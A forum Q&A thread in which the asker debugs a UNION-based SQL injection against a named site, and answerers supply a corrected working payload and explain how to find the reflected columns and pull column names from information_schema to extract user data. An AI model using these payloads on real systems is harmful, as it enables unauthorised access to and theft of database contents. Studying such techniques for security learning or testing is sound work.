1

I'm trying to inject basic query but I think I'm missing how to comment the end of those query.

I tough using # or --' would work but I'm still ending with those kind of error:

Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TABLE user ;--' ORDER BY c2_.creationDate DESC' at line 1

So what is the proper way of bypassing those security?

What am I doing wrong when I wrote:

http://esgi-3.futest.com/subject/12%20UNION%20SELECT%20*%20FROM%20TABLE%20user%20;--'

And this is the whole error I get :

An exception occurred while executing 'SELECT s0_.text AS text, s0_.creationDate AS creationDate, s0_.private AS private, u1_.firstName AS firstName, u1_.lastName AS lastName, s0_.user AS user, c2_.userId AS userId24, c2_.subjectId AS subjectId25 FROM subject s0_ INNER JOIN user u1_ ON s0_.user = u1_.id LEFT JOIN comment c2_ ON s0_.id = c2_.subjectId LEFT JOIN user u3_ ON c2_.userId = u3_.id WHERE s0_.id = 12 UNION SELECT * FROM TABLE user ;--' ORDER BY c2_.creationDate DESC': SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TABLE user ;--' ORDER BY c2_.creationDate DESC' at line 1

  • Hard to tell without knowing the structure of the query you're trying to inject into - imagine if it was SELECT * FROM articles WHERE $1 (for a really poor, but short, example). You'd now have SELECT * FROM articles WHERE UNION SELECT * FROM TABLE user;-- which would be a syntax error. – Matthew Feb 13 '17 at 10:27
  • @Matthew the 12 as first arguments is actually where id = 12 and work well without the UNION... I edit my post to show you the whole error. – Baldráni Feb 13 '17 at 10:29
3

There are multiple errors here:

  • The syntax of a select statement is SELECT [COLUMNS] FROM [TABLE], but you are writing SELECT [COLUMNS] FROM TABLE [TABLE].
  • You are injection a ;, but that is not required or valid for most APIs.
  • While you can use * in a union select, it is highly unlikely that both tables have the same amount of columns, so it will likely not work.
  • You are correct that you cannot just use --, but have to append an actual comment. However, I wouldn't use '. It is likely valid, but it may be filtered, etc. Either use # or append a different string, eg -- -, -- foobar etc.

Giving this, this should work:

1 union select 1,2,3 from user -- -

The column count is likely wrong and needs to be adjusted by you.

  • Technically, you just need a space after the --, but some APIs and servers will "helpfully" strip trailing spaces, so using an actual comment is good advice – Matthew Feb 13 '17 at 10:44
  • Okay, this is working ! Just a quick further question. So I found out that 1,2,3,4,5,6,7,8 was the right cardinality. But how can I extract specific data? Shall I try to change each arguments with random (but possible value like password, name ...?) Is there a way of 'UNION DESCRIBE USER' ? – Baldráni Feb 13 '17 at 10:53
  • 1
    @Baldráni You should only replace those that are actually given back to you (they will be shown in the source code and possibly displayed on the site). My guess would be 1,4, and 5. Then you replace those with the actual column name from the union'ed table you want to retrieve. You can either guess those names, or extract them from information_schema. – tim Feb 13 '17 at 11:10
  • In JDBC using a ; is effectively not valid. – Walfrat Feb 13 '17 at 12:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.